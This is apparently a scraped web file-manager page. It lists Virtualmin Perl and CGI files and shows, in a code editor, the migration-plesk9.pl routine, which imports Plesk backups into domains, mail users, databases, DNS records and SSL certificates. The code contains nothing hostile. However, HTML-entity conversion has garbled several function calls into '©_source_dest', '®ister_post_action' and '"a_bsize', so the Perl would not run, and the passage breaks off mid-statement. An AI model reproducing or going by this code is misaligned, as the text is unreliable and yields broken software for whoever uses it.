-rw-r--r--
upgrade-licence.pl
3.91
KB
-rwxr-xr-x
upgrade-license.pl
3.91
KB
-rwxr-xr-x
upgrade.cgi
11.96
KB
-rwxr-xr-x
upload-api-docs.pl
6.18
KB
-rwxr-xr-x
upload-dropbox-file.pl
1.78
KB
-rwxr-xr-x
upload-rs-file.pl
2.83
KB
-rwxr-xr-x
upload-s3-file.pl
3.18
KB
-rwxr-xr-x
usage.cgi
5.71
KB
-rwxr-xr-x
user-template
380
B
-rw-r--r--
useradmin_update.pl
2.71
KB
-rwxr-xr-x
validate-domains.pl
3.54
KB
-rwxr-xr-x
validate.cgi
1.67
KB
-rwxr-xr-x
validate.pl
2.29
KB
-rwxr-xr-x
view_backuplog.cgi
4.28
KB
-rwxr-xr-x
view_domain.cgi
7.04
KB
-rwxr-xr-x
view_log.cgi
1.35
KB
-rwxr-xr-x
view_records.cgi
1.38
KB
-rwxr-xr-x
virtual-server-lib-funcs.pl
534.17
KB
-rwxr-xr-x
virtual-server-lib.pl
15.62
KB
-rwxr-xr-x
virtual_feature_api.pl
21.35
KB
-rwxr-xr-x
virtualmin-licence.pl
1.7
KB
-rwxr-xr-x
vui-lib.pl
7.56
KB
-rwxr-xr-x
warnbw-template
453
B
-rw-r--r--
webmin_menu.pl
6.08
KB
-rw-r--r--
webmincron-fixed.pl
473
B
-rwxr-xr-x
wizard-lib.pl
25.03
KB
-rwxr-xr-x
wizard.cgi
2.09
KB
-rwxr-xr-x
writelogs.pl
690
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : migration-plesk9.pl
# Functions for migrating a Plesk 9-11 backup. These appear to be a tar.gz file, # containing XML and more tar.gz files # migration_plesk9_validate(file, domain, [user], [&parent], [prefix], [pass]) # Make sure the given file is a Plesk 9-11 backup, and contains the domain sub migration_plesk9_validate { local ($file, $dom, $user, $parent, $prefix, $pass) = @_; local ($ok, $root) = &extract_plesk9_dir($file, 8); $ok || return ("Not a Plesk 9, 10 or 11 backup file : $root"); local ($xfile) = glob("$root/*.xml"); $xfile && -r $xfile || return ("Not a complete Plesk 9, 10 or 11 backup file - missing XML file"); # Check if the domain is in there local $dump = &read_plesk_xml($xfile); ref($dump) || return ($dump); use Data::Dumper; local $domain; local $domains = $dump->{'admin'} ? $dump->{'admin'}->{'domains'} : $dump->{'domains'}; if ($domains) { # Plesk 11 format if ($domains->{'domain'}->{'name'}) { # Just one domain $domains->{'domain'} = { $domains->{'domain'}->{'name'} => $domains->{'domain'} }; } if (!$dom) { # Use first domain foreach my $n (keys %{$domains->{'domain'}}) { my $v = $domains->{'domain'}->{$n}; if ($v->{'phosting'}->{'preferences'}->{'sysuser'}->{'name'}) { $dom = $n; } } $dom || return ("Could not work out default domain"); } $domain = $domains->{'domain'}->{$dom}; $domain || return ("Backup does not contain the domain $dom"); if (!$parent && !$user) { # Check if we can work out the user $user = $domain->{'phosting'}->{'preferences'}->{'sysuser'}->{'name'}; $user || return ("Could not work out original username from backup"); } if (!$parent && !$pass) { $pass = $domain->{'phosting'}->{'preferences'}->{'sysuser'}->{'password'}->{'content'}; $pass || return ("Could not work out original password from backup"); } } else { # Plesk 9 / 10 format, or Plesk 11 single-domain local $mig = $dump->{'dump-format'} ? $dump : $dump->{'Data'}->{'migration-dump'}; $mig || return ("Missing migration-dump section in XML file"); if (scalar(keys %{$mig->{'domain'}}) == 0 || $dom && !$mig->{'domain'}->{$dom} && $mig->{'domain'}->{'name'} ne $dom) { # Inside client sub-section $mig = $mig->{'client'}->{'domains'}; } if (!$dom) { # Work out domain name $dom = $mig->{'domain'}->{'name'}; $dom || return ("Could not work out domain name from backup"); } $domain = $mig->{'domain'}->{$dom}; if (!$domain && $mig->{'domain'}->{'name'} eq $dom) { $domain = $mig->{'domain'}; } $domain || return ("Backup does not contain the domain $dom"); if (!$parent && !$user) { # Check if we can work out the user $user = $domain->{'phosting'}->{'preferences'}->{'sysuser'}->{'name'}; $user || return ("Could not work out original username from backup"); } if (!$parent && !$pass) { # Check if we can work out the password $pass = $domain->{'phosting'}->{'preferences'}->{'sysuser'}->{'password'}->{'content'} || $domain->{'domainuser'}->{'password'}->{'content'}; $pass || return ("Could not work out original password from backup"); } } return (undef, $dom, $user, $pass); } # migration_plesk9_migrate(file, domain, username, create-webmin, template-id, # &ipinfo, pass, [&parent], [prefix], [email]) # Actually extract the given Plesk backup, and return the list of domains # created. sub migration_plesk9_migrate { local ($file, $dom, $user, $webmin, $template, $ipinfo, $pass, $parent, $prefix, $email) = @_; # Check for prefix clash $prefix ||= &compute_prefix($dom, undef, $parent, 1); local $pclash = &get_domain_by("prefix", $prefix); $pclash && &error("A virtual server using the prefix $prefix already exists"); # Get shells for users local ($nologin_shell, $ftp_shell, undef, $def_shell) = &get_common_available_shells(); $nologin_shell ||= $def_shell; $ftp_shell ||= $def_shell; # Extract backup and read the dump file local ($ok, $root) = &extract_plesk9_dir($file); local ($xfile) = glob("$root/*.xml"); local $dump = &read_plesk_xml($xfile); ref($dump) || &error($dump); local $domain; local $domains = $dump->{'admin'} ? $dump->{'admin'}->{'domains'} : $dump->{'domains'}; if ($domains) { # Plesk 11 format if ($domains->{'domain'}->{'name'}) { # Just one domain $domains->{'domain'} = { $domains->{'domain'}->{'name'} => $domains->{'domain'} }; } # Get the domain object and username if not specified $domain = $domains->{'domain'}->{$dom}; if (!$user) { $user = $domain->{'phosting'}->{'preferences'}->{'sysuser'}->{'name'}; } } else { # Plesk 9 / 10 format, or Plesk 11 single domain local $mig = $dump->{'dump-format'} ? $dump : $dump->{'Data'}->{'migration-dump'}; if (!$mig->{'domain'}->{$dom} && $mig->{'domain'}->{'name'} ne $dom) { # Inside client sub-section $mig = $mig->{'client'}->{'domains'}; } # Get the domain object from the XML $domain = $mig->{'domain'}->{$dom}; if (!$domain && $mig->{'domain'}->{'name'} eq $dom) { $domain = $mig->{'domain'}; } # Work out user and group if (!$user) { $user = $domain->{'phosting'}->{'preferences'}->{'sysuser'}->{'name'}; } } local $group = $user; local $ugroup = $group; # Extract the tar.gz file containing additional content &$first_print("Finding contents files .."); local $cids = $domain->{'phosting'}->{'content'}->{'cid'}; if (!$cids) { &$second_print(".. no contents data found!"); # return ( \%dom ); } elsif (ref($cids) eq 'HASH') { # Just one file (unlikely) $cids = [ $cids ]; } &$second_print(".. done"); # First work out what features we have &$first_print("Checking for Plesk features .."); local @got = ( "dir", $parent ? () : ("unix") ); push(@got, "webmin") if ($webmin && !$parent); local $mss = $domain->{'mailsystem'}->{'properties'}->{'status'}; if (exists($mss->{'enabled'}) || $domain->{'mail'}) { push(@got, "mail"); } elsif (!$mss->{'disabled-by'}->{'admin'} && $mss->{'disabled-by'}->{'name'} ne 'admin') { # Handle case where mail is enabled, but XML contains : # <disabled-by name="parent"/> # but not # <disabled-by name="admin"/> push(@got, "mail"); } if ($domain->{'properties'}->{'dns-zone'}) { push(@got, "dns"); } local ($wwwcid) = grep { $_->{'type'} eq 'docroot' } @$cids; if ($domain->{'www'} eq 'true' || $wwwcid) { push(@got, &domain_has_website()); } my $ip = $domain->{'properties'}->{'ip'}; if (ref($ip) eq 'ARRAY') { ($ip) = grep { &check_ipaddress($_->{'ip-address'}) } @$ip; } if ($ip->{'ip-type'} eq 'exclusive' && $ipinfo->{'virt'}) { push(@got, &domain_has_ssl()); } if (($domain->{'phosting'}->{'preferences'}->{'logrotation'}->{'enabled'} eq 'true' || $windows) && &indexof(&domain_has_website(), @got) >= 0) { push(@got, "logrotate"); } if ($domain->{'phosting'}->{'preferences'}->{'webalizer'} && &indexof(&domain_has_website(), @got) >= 0) { push(@got, "webalizer"); } # Check for MySQL databases local $databases = $domain->{'databases'}->{'database'}; if (!$databases) { $databases = { }; } elsif ($databases->{'version'}) { # Just one database $databases = { $databases->{'name'} => $databases }; } local @mysqldbs = grep { $databases->{$_}->{'type'} eq 'mysql' } (keys %$databases); if (@mysqldbs) { push(@got, "mysql"); } # Check for mail users local ($has_spam, $has_virus); local $mailusers = $domain->{'mailsystem'}->{'mailusers'}->{'mailuser'}; if (!$mailusers) { $mailusers = { }; } elsif ($mailusers->{'mailbox-quota'}) { # Just one user $mailusers = { $mailusers->{'name'} => $mailusers }; } foreach my $name (keys %$mailusers) { local $mailuser = $mailusers->{$name}; if ($mailuser->{'spamassassin'}->{'status'} eq 'on') { $has_spam++; } if ($mailuser->{'virusfilter'}->{'state'} eq 'inout' || $mailuser->{'virusfilter'}->{'state'} eq 'in') { $has_virus++; } } if (&indexof("mail", @got) >= 0) { $has_spam++ if ($has_virus); # Dependency push(@got, "spam") if ($has_spam); push(@got, "virus") if ($has_virus); } # Tell the user what we have got @got = &show_check_migration_features(@got); local %got = map { $_, 1 } @got; # Work out user and group IDs local ($gid, $ugid, $uid, $duser); if ($parent) { # UID and GID come from parent $gid = $parent->{'gid'}; $ugid = $parent->{'ugid'}; $uid = $parent->{'uid'}; $duser = $parent->{'user'}; $group = $parent->{'group'}; $ugroup = $parent->{'ugroup'}; } else { # IDs are allocated in setup_unix $gid = $ugid = $uid = undef; $duser = $user; } # Get the quota and domain password (if not supplied) local $bsize = &has_home_quotas() ? "a_bsize("home") : undef; local $quota; if (!$parent && &has_home_quotas()) { $quota = $domain->{'phosting'}->{'sysuser'}->{'quota'} / $bsize; } if (!$parent && !$pass) { $pass = $domain->{'phosting'}->{'sysuser'}->{'password'}->{'content'} || $domain->{'domainuser'}->{'password'}->{'content'}; } # Create the virtual server object local %dom; $prefix ||= &compute_prefix($dom, $group, $parent, 1); local $plan = $parent ? &get_plan($parent->{'plan'}) : &get_default_plan(); %dom = ( 'id', &domain_id(), 'dom', $dom, 'user', $duser, 'group', $group, 'ugroup', $ugroup, 'uid', $uid, 'gid', $gid, 'ugid', $ugid, 'owner', "Migrated Plesk server $dom", 'email', $email ? $email : $parent ? $parent->{'email'} : undef, 'dns_ip', $ipinfo->{'virt'} || $config{'all_namevirtual'} ? undef : &get_dns_ip($parent ? $parent->{'id'} : undef), $parent ? ( 'pass', $parent->{'pass'} ) : ( 'pass', $pass ), 'source', 'migrate.cgi', 'template', $template, 'plan', $plan->{'id'}, 'parent', $parent ? $parent->{'id'} : undef, 'reseller', $parent ? $parent->{'reseller'} : undef, 'prefix', $prefix, 'no_tmpl_aliases', 1, 'no_mysql_db', $got{'mysql'} ? 1 : 0, 'nocreationmail', 1, 'nocopyskel', 1, 'nocreationscripts', 1, 'parent', $parent ? $parent->{'id'} : undef, 'creation_type', 'migrate', 'migration_type', 'plesk9', ); &merge_ipinfo_domain(\%dom, $ipinfo); if (!$parent) { &set_limits_from_plan(\%dom, $plan); $dom{'quota'} = $quota; $dom{'uquota'} = $quota; &set_capabilities_from_plan(\%dom, $plan); } $dom{'db'} = $db || &database_name(\%dom); $dom{'emailto'} = $dom{'email'} || $dom{'user'}.'@'.&get_system_hostname(); foreach my $f (@features, &list_feature_plugins()) { $dom{$f} = $got{$f} ? 1 : 0; } &set_featurelimits_from_plan(\%dom, $plan); $dom{'home'} = &server_home_directory(\%dom, $parent); &set_provision_features(\%dom); &generate_domain_password_hashes(\%dom, 1); &complete_domain(\%dom); # Check for various clashes &$first_print("Checking for clashes and dependencies .."); $derr = &virtual_server_depends(\%dom); if ($derr) { &$second_print($derr); return ( ); } $cerr = &virtual_server_clashes(\%dom); if ($cerr) { &$second_print($cerr); return ( ); } &$second_print(".. all OK"); # Create the initial server &$first_print("Creating initial virtual server $dom .."); &$indent_print(); local $err = &create_virtual_server(\%dom, $parent, $parent ? $parent->{'user'} : undef); &$outdent_print(); if ($err) { &$second_print($err); return ( ); } else { &$second_print(".. done"); } # Copy home directory files &$first_print("Copying web pages .."); if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable(\%dom, 1); } local $hdir = &public_html_dir(\%dom); local $phdir = $hdir; if ($cids) { local $docroot_files = &extract_plesk9_cid($root, $cids, "docroot"); local $user_data_files = &extract_plesk9_cid($root, $cids, "user-data"); local $httpdocs = $domain->{'phosting'}->{'www-root'} || "httpdocs"; local $cgidocs = "cgi-bin"; if ($docroot_files) { ©_source_dest($docroot_files, $hdir); &set_home_ownership(\%dom); &$second_print(".. done"); } elsif ($user_data_files) { ©_source_dest($user_data_files."/".$httpdocs, $hdir); &set_home_ownership(\%dom); &$second_print(".. done"); } else { &$second_print(".. no docroot data found"); } # Copy CGI files &$first_print("Copying CGI scripts .."); local $cdir = &cgi_bin_dir(\%dom); local $cgi_files = &extract_plesk9_cid($root, $cids, "cgi"); if ($cgi_files) { ©_source_dest($cgi_files, $cdir); &set_home_ownership(\%dom); &$second_print(".. done"); } elsif ($user_data_files) { ©_source_dest($user_data_files."/".$cgidocs, $cdir); &set_home_ownership(\%dom); &$second_print(".. done"); } else { &$second_print(".. no cgi data found"); } if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable(\%dom, 0); } } # Re-create DNS records local $oldip = $ip->{'ip-address'}; if ($got{'dns'}) { &$first_print("Copying and fixing DNS records .."); local $zonexml = $domain->{'properties'}->{'dns-zone'}; local ($recs, $file) = &get_domain_dns_records_and_file(\%dom); if (!$file) { &$second_print(".. could not find new DNS zone!"); } elsif (!$zonexml) { &$second_print(".. could not find zone in backup"); } else { local $rcount = 0; foreach my $rec (@{$zonexml->{'dnsrec'}}) { local $recname = $rec->{'src'}; $recname .= ".".$dom."." if ($recname !~ /\.$/); local ($oldrec) = grep { $_->{'name'} eq $recname } @$recs; if (!$oldrec) { # Found one we need to add local $recvalue = $rec->{'dst'}; local $rectype = $rec->{'type'}; if ($rectype eq "A" && $recvalue eq $oldip) { # Use new IP address $recvalue = $dom{'dns_ip'} || $dom{'ip'}; } if ($rectype eq "MX") { # Include priority in value $recvalue = $rec->{'opt'}." ".$recvalue; } if ($rectype eq "PTR") { # Not migratable next; } my $nr = { 'name' => $recname, 'type' => $rectype, 'values' => [ split(/\s+/, $recvalue) ] }; &create_dns_record($recs, $file, $nr); $rcount++; } } if ($rcount) { &post_records_change(\%dom, $recs, $file); ®ister_post_action(\&restart_bind); } &$second_print(".. done (added $rcount records)"); } } # Migrate SSL certs local $certificate = $domain->{'certificates'}->{'certificate'}; if ($certificate) { &$first_print("Migrating SSL certificate and key .."); local $cert = &cleanup_plesk_cert($certificate->{'certificate-data'}); &create_ssl_certificate_directories(\%dom); if ($cert) { $dom{'ssl_cert'} ||= &default_certificate_file(\%dom, 'cert'); &open_tempfile(CERT, ">$dom{'ssl_cert'}"); &print_tempfile(CERT, $cert); &close_tempfile(CERT); } local $key = &cleanup_plesk_cert($certificate->{'private-key'}); if ($key) { $dom{'ssl_key'} ||= &default_certificate_file(\%dom, 'key'); &open_tempfile(CERT, ">$dom{'ssl_key'}"); &print_tempfile(CERT, $key); &close_tempfile(CERT); } local $ca = &cleanup_plesk_cert($certificate->{'ca-certificate'}); if ($ca) { $dom{'ssl_chain'} ||= &default_certificate_file(\%dom, 'chain'); &open_tempfile(CERT, ">$dom{'ssl_chain'}"); &print_tempfile(CERT, $ca); &close_tempfile(CERT); } &$second_print($cert && $key ? ".. done" : !$cert && $key ? ".. missing certificate" : $cert && !$key ? ".. missing key" : ".. not found in backup"); } # Lock the user DB and build list of used IDs &obtain_lock_unix(\%dom); &obtain_lock_mail(\%dom); local (%taken, %utaken); &build_taken(\%taken, \%utaken); # Re-create mail users and copy mail files &$first_print("Re-creating mail users .."); &foreign_require("mailboxes"); $mailboxes::no_permanent_index = 1; local $mcount = 0; # Linux mailboxes foreach my $name (keys %$mailusers) { next if ($windows); local $mailuser = $mailusers->{$name}; local $uinfo = &create_initial_user(\%dom); $uinfo->{'user'} = &userdom_name(lc($name), \%dom); local $pinfo = $mailuser->{'properties'}->{'password'}; if ($pinfo->{'type'} eq 'plain') { $uinfo->{'plainpass'} = $pinfo->{'content'}; $uinfo->{'pass'} = &encrypt_user_password( $uinfo, $uinfo->{'plainpass'}); } else { $uinfo->{'pass'} = $pinfo->{'content'}; } $uinfo->{'uid'} = &allocate_uid(\%taken); $uinfo->{'gid'} = $dom{'gid'}; $uinfo->{'home'} = "$dom{'home'}/$config{'homes_dir'}/".lc($name); $uinfo->{'shell'} = $nologin_shell->{'shell'}; $uinfo->{'to'} = [ ]; if ($mailuser->{'mailbox'}->{'enabled'} eq 'true') { # Add delivery to user's mailbox local $escuser = $uinfo->{'user'}; if ($config{'mail_system'} == 0 && $escuser =~ /\@/) { $escuser = &replace_atsign($escuser); } else { $escuser = &escape_user($escuser); } push(@{$uinfo->{'to'}}, "\\".$escuser); } if (&has_home_quotas()) { local $q = $mailuser->{'mailbox-quota'} < 0 ? undef : $mailuser->{'mailbox-quota'}*1024; $uinfo->{'qquota'} = $q; $uinfo->{'quota'} = $q / "a_bsize("home"); $uinfo->{'mquota'} = $q / "a_bsize("home"); } # Add mail aliases local $alias = $mailuser->{'preferences'}->{'alias'}; if ($alias) { $alias = [ $alias ] if (ref($alias) ne 'ARRAY'); foreach my $a (@$alias) { $a = $a->{'content'} if (ref($a)); $a .= "@".$dom{'dom'} if ($a !~ /\@/); push(@{$uinfo->{'extraemail'}}, $a); } } # Add forwarding local $redirect = $mailuser->{'preferences'}->{'redirect'}; if ($redirect) { $redirect = [ $redirect ] if (ref($redirect) ne 'ARRAY'); foreach my $r (@$redirect) { $r = $r->{'content'} if (ref($r)); $r .= "@".$dom{'dom'} if ($r !~ /\@/); push(@{$uinfo->{'to'}}, $r); } } # Add mail group members (which are really just forwards) local $mailgroup = $mailuser->{'preferences'}->{'mailgroup-member'}; if ($mailgroup) { $mailgroup = [ $mailgroup ] if (ref($mailgroup) ne 'ARRAY'); foreach my $r (@$mailgroup) { $r = $r->{'content'} if (ref($r)); $r .= "@".$dom{'dom'} if ($r !~ /\@/); push(@{$uinfo->{'to'}}, $r); } } if (@{$uinfo->{'to'}}) { # Only enable mail if there is at least one destination, which # would be his own mailbox or offsite $uinfo->{'email'} = lc($name)."\@".$dom; } else { delete($uinfo->{'email'}); } &create_user_home($uinfo, \%dom, 1); &create_user($uinfo, \%dom); $taken{$uinfo->{'uid'}}++; local ($crfile, $crtype) = &create_mail_file($uinfo, \%dom); # Copy mail into user's inbox local $cids = [ $mailuser->{'preferences'}->{'mailbox'}->{'content'}->{'cid'} ]; if (ref($cids->[0]) eq 'ARRAY') { # Sometimes there are multiple mailboxes .. just use the first $cids = [ $cids->[0]->[0] ]; } local $srcdir = &extract_plesk9_cid($root, $cids, "mailbox"); if ($srcdir) { local $srcfolder = { 'file' => $srcdir, 'type' => 1 }; local $dstfolder = { 'file' => $crfile, 'type' => $crtype }; &mailboxes::mailbox_move_folder($srcfolder, $dstfolder); &set_mailfolder_owner($dstfolder, $uinfo); } $mcount++; } &$second_print(".. done (migrated $mcount users)"); # Re-create mail aliases / catchall local $acount = 0; &$first_print("Re-creating mail aliases .."); &set_alias_programs(); local $ca = $domain->{'mailsystem'}->{'preferences'}->{'catch-all'}; if ($ca) { local @to; if ($ca =~ /^bounce:(.*)/) { push(@to, "BOUNCE $1"); } elsif ($ca eq "reject") { push(@to, "BOUNCE"); } else { push(@to, $ca); } local $virt = { 'from' => "\@$dom", 'to' => \@to }; &create_virtuser($virt); $acount++; } &$second_print(".. done (migrated $acount aliases)"); # Re-create MySQL databases if ($got{'mysql'}) { &require_mysql(); local $mcount = 0; local $myucount = 0; &$first_print("Migrating MySQL databases .."); &disable_quotas(\%dom); foreach my $name (keys %$databases) { local $database = $databases->{$name}; next if ($database->{'type'} ne 'mysql'); # Create and import the DB &$indent_print(); &create_mysql_database(\%dom, $name); &save_domain(\%dom, 1); local $cids = [ $database->{'content'}->{'cid'} ]; local $sqldir = &extract_plesk9_cid($root, $cids, "sqldump"); local ($sqlfile) = glob("$sqldir/*$name*"); if (!$sqlfile || !-f $sqlfile) { ($sqlfile) = glob("$sqldir/backup_*"); } if (!$sqldir) { &$first_print("No database content found"); } elsif (!$sqlfile || !-f $sqlfile) { &$first_print("Database content missing SQL file"); } else { local ($ex, $out) = &execute_dom_sql_file(\%dom, $name, $sqlfile); if ($ex) { &$first_print("Error loading $db : $out"); } } # Create any DB users as domain users local $dbusers = $database->{'dbuser'}; $dbusers = !$dbusers ? { } : $dbusers->{'password'} ? { $dbusers->{'name'} => $dbusers } : $dbusers; foreach my $mname (keys %$dbusers) { next if ($mname eq $user); # Domain owner local $myuinfo = &create_initial_user(\%dom); $myuinfo->{'user'} = $mname; $myuinfo->{'plainpass'} = $dbusers->{$mname}->{'password'}->{'content'}; $myuinfo->{'pass'} = &encrypt_user_password($myuinfo, $myuinfo->{'plainpass'}); $myuinfo->{'uid'} = &allocate_uid(\%taken); $myuinfo->{'gid'} = $dom{'gid'}; $myuinfo->{'real'} = "MySQL user"; $myuinfo->{'home'} = "$dom{'home'}/$config{'homes_dir'}/$mname"; $myuinfo->{'shell'} = $nologin_shell->{'shell'}; delete($myuinfo->{'email'}); $myuinfo->{'dbs'} = [ { 'type' => 'mysql', 'name' => $name } ]; &create_user_home($myuinfo, \%dom, 1); &create_user($myuinfo, \%dom); &create_mail_file($myuinfo, \%dom); $taken{$myuinfo->{'uid'}}++; $myucount++; } &$outdent_print(); $mcount++; } # Create DB users that are outside of databases local $dbusers = $domain->{'databases'}->{'dbusers'}->{'dbuser'}; if (!$dbusers) { $dbusers = { }; } elsif ($dbusers->{'name'}) { # Just one user $dbusers = { $dbusers->{'name'} => $dbusers }; } foreach my $mname (keys %$dbusers) { my $dbuser = $dbusers->{$name}; next if ($mname eq $user); # Domain owner local $myuinfo = &create_initial_user(\%dom); $myuinfo->{'user'} = $mname; $myuinfo->{'plainpass'} = $dbusers->{$mname}->{'password'}->{'content'}; $myuinfo->{'pass'} = &encrypt_user_password($myuinfo, $myuinfo->{'plainpass'}); $myuinfo->{'uid'} = &allocate_uid(\%taken); $myuinfo->{'gid'} = $dom{'gid'}; $myuinfo->{'real'} = "MySQL user"; $myuinfo->{'home'} = "$dom{'home'}/$config{'homes_dir'}/$mname"; $myuinfo->{'shell'} = $nologin_shell->{'shell'}; delete($myuinfo->{'email'}); $myuinfo->{'dbs'} = [ map { { 'type' => 'mysql', 'name' => $_ } } (keys %$databases) ]; &create_user_home($myuinfo, \%dom, 1); &create_user($myuinfo, \%dom); &create_mail_file($myuinfo, \%dom); $taken{$myuinfo->{'uid'}}++; $myucount++; } &enable_quotas(\%dom); &$second_print(".. done (migrated $mcount databases, and created $myucount users)"); } &release_lock_unix(\%dom); &release_lock_mail(\%dom); &sync_alias_virtuals(\%dom); # Migrate protected directories as .htaccess files local $pdir = $domain->{'phosting'}->{'preferences'}->{'pdir'}; if ($pdir && &foreign_check("htaccess-htpasswd")) { &$first_print("Re-creating protected directories .."); &foreign_require("htaccess-htpasswd"); local $hdir = &public_html_dir(\%dom); local $etc = "$dom{'home'}/etc"; if (!-d $etc) { # Create ~/etc dir &make_dir($etc, 0755); &set_ownership_permissions($dom{'uid'}, $dom{'gid'}, undef, $etc); } # Migrate each one, by creating a .htaccess file local $pcount = 0; if ($pdir->{'name'}) { $pdir = { $pdir->{'name'} => $pdir }; } local @htdirs = &htaccess_htpasswd::list_directories(); foreach my $name (keys %$pdir) { # Make .htaccess file local $p = $pdir->{$name}; local $dir = "$hdir/$name"; next if (!-d $dir); # Protected dir is missing local $htaccess = "$dir/$htaccess_htpasswd::config{'htaccess'}"; $name =~ s/\//-/g; local $htpasswd = "$etc/.htpasswd-$name"; &open_tempfile(HTACCESS, ">$htaccess"); &print_tempfile(HTACCESS, "AuthName \"$p->{'title'}\"\n"); &print_tempfile(HTACCESS, "AuthType Basic\n"); &print_tempfile(HTACCESS, "AuthUserFile $htpasswd\n"); &print_tempfile(HTACCESS, "require valid-user\n"); &close_tempfile(HTACCESS); # Add users to .htpasswd file &open_tempfile(HTPASSWD, ">$htpasswd"); &close_tempfile(HTPASSWD); local $pduser = $p->{'pduser'}; if ($pduser) { $pduser = [ $pduser ] if (ref($pduser) ne 'ARRAY'); foreach my $u (@$pduser) { local $huinfo = { 'user' => $u->{'name'}, 'enabled' => 1 }; local $pass = $u->{'password'}->{'content'}; if ($u->{'password'}->{'type'} eq 'plain') { $huinfo->{'pass'} = &htaccess_htpasswd::encrypt_password($pass); } else { $huinfo->{'pass'} = $pass; } &htaccess_htpasswd::create_user($huinfo, $htpasswd); } } &set_ownership_permissions($dom{'uid'}, $dom{'gid'}, 0755, $htaccess, $htpasswd); # Add to protected directories module push(@htdirs, [ $dir, $htpasswd, 0, 0, undef ]); $pcount++; } &htaccess_htpasswd::save_directories(\@htdirs); &$second_print(".. done (migrated $pcount)"); } # Migrate alias domains local $aliasdoms = $domain->{'preferences'}->{'domain-alias'}; if (!$aliasdoms) { $aliasdoms = { }; } elsif ($aliasdoms->{'web'}) { # Just one alias $aliasdoms = { $aliasdoms->{'name'} => $aliasdoms }; } local @rvdoms; foreach my $adom (keys %$aliasdoms) { local $aliasdom = $aliasdoms->{$adom}; &$first_print("Creating alias domain $adom .."); if (&domain_name_clash($adom)) { &$second_print(".. the domain $adom already exists"); next; } &$indent_print(); local %alias = ( 'id', &domain_id(), 'dom', $adom, 'user', $dom{'user'}, 'group', $dom{'group'}, 'prefix', $dom{'prefix'}, 'ugroup', $dom{'ugroup'}, 'pass', $dom{'pass'}, 'alias', $dom{'id'}, 'uid', $dom{'uid'}, 'gid', $dom{'gid'}, 'ugid', $dom{'ugid'}, 'owner', "Migrated Plesk alias for $dom{'dom'}", 'email', $dom{'email'}, 'name', 1, 'ip', $dom{'ip'}, 'virt', 0, 'source', $dom{'source'}, 'parent', $dom{'id'}, 'template', $dom{'template'}, 'reseller', $dom{'reseller'}, 'nocreationmail', 1, 'nocopyskel', 1, ); $alias{'dom'} =~ s/^www\.//; foreach my $f (@alias_features) { local $want = $f eq 'web' ? $aliasdom->{'web'} eq 'true' : $f eq 'dns' ? $aliasdom->{'dns'} eq 'true' : 1; $alias{$f} = $dom{$f} && $want; } local $parentdom = $dom{'parent'} ? &get_domain($dom{'parent'}) : \%dom; $alias{'home'} = &server_home_directory(\%alias, $parentdom); &generate_domain_password_hashes(\%alias, 1); &complete_domain(\%alias); &create_virtual_server(\%alias, $parentdom, $parentdom->{'user'}); &$outdent_print(); &$second_print($text{'setup_done'}); push(@rvdoms, \%alias); } # Migrate sub-domains (as Virtualmin sub-servers) local $subdoms; if ($domain->{'phosting'}->{'sites'}) { $subdoms = $domain->{'phosting'}->{'sites'}->{'site'}; } else { $subdoms = $domain->{'phosting'}->{'subdomains'}->{'subdomain'}; } if (!$subdoms) { $subdoms = { }; } elsif ($subdoms->{'name'}) { # Just one sub-domain $subdoms = { $subdoms->{'name'} => $subdoms }; } foreach my $sdom (keys %$subdoms) { local $subdom = $subdoms->{$sdom}; local $sname = $sdom; if ($sname !~ /\.\Q$dom{'dom'}\E$/) { $sname .= ".".$dom{'dom'}; } &$first_print("Creating sub-domain $sname .."); if (&domain_name_clash($sname)) { &$second_print(".. the domain $sname already exists"); next; } &$indent_print(); local %subd = ( 'id', &domain_id(), 'dom', $sname, 'user', $dom{'user'}, 'group', $dom{'group'}, 'prefix', $dom{'prefix'}, 'ugroup', $dom{'ugroup'}, 'pass', $dom{'pass'}, 'parent', $dom{'id'}, 'uid', $dom{'uid'}, 'gid', $dom{'gid'}, 'ugid', $dom{'ugid'}, 'owner', "Migrated Plesk sub-domain for $dom{'dom'}", 'email', $dom{'email'}, 'name', 1, 'ip', $dom{'ip'}, 'virt', 0, 'source', $dom{'source'}, 'parent', $dom{'id'}, 'template', $dom{'template'}, 'reseller', $dom{'reseller'}, 'nocreationmail', 1, 'nocopyskel', 1, ); foreach my $f (@subdom_features) { local $want = $f eq 'ssl' ? 0 : 1; $subd{$f} = $dom{$f} && $want; } local $parentdom = $dom{'parent'} ? &get_domain($dom{'parent'}) : \%dom; $subd{'home'} = &server_home_directory(\%subd, $parentdom); &generate_domain_password_hashes(\%subd, 1); &complete_domain(\%subd); &create_virtual_server(\%subd, $parentdom, $parentdom->{'user'}); &$outdent_print(); &$second_print($text{'setup_done'}); push(@rvdoms, \%subd); # Extract sub-domain's HTML directory if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable(\%subd, 1); } local $hdir = &public_html_dir(\%subd); local $cids = $subdom->{'phosting'}->{'content'}->{'cid'} || $subdom->{'content'}->{'cid'}; local $docroot_files = &extract_plesk9_cid($root, $cids, "docroot"); local $wwwroot = $subdom->{'phosting'}->{'www-root'}; $wwwroot =~ s/^.*\///; if ($docroot_files) { &$first_print( "Copying web pages for sub-domain $subd{'dom'} .."); ©_source_dest($docroot_files, $hdir); &set_home_ownership(\%subd); &$second_print(".. done"); } elsif ($wwwroot && -d "$phdir/$wwwroot") { &$first_print( "Moving web pages for sub-domain $subd{'dom'} .."); &unlink_file_as_domain_user(\%subd, $hdir); &rename_as_domain_user(\%subd, "$phdir/$wwwroot", $hdir); &set_home_ownership(\%subd); &$second_print(".. done"); } # Extract sub-domains CGI directory local $cdir = &cgi_bin_dir(\%subd); local $cgi_files = &extract_plesk9_cid($root, $cids, "cgi"); if ($cgi_files) { &$first_print( "Copying CGI scripts for sub-domain $subd{'dom'} .."); ©_source_dest($cgi_files, $cdir); &set_home_ownership(\%subd); &$second_print(".. done"); } if (defined(&set_php_wrappers_writable)) { &set_php_wrappers_writable(\%subd, 0); } # Re-create users for sub-domains &$first_print("Re-creating sub-domain users .."); local $sysusers = $subdom->{'sysuser'}; if (!$sysusers) { $sysusers = { }; } elsif ($sysusers->{'name'}) { # Just one user $sysusers = { $sysusers->{'name'} => $sysusers }; } local $sucount = 0; foreach my $name (keys %$sysusers) { local $mailuser = $sysusers->{$name}; local $uinfo = &create_initial_user(\%dom, 0, 1); $uinfo->{'user'} = &userdom_name($name, \%dom); local $pinfo = 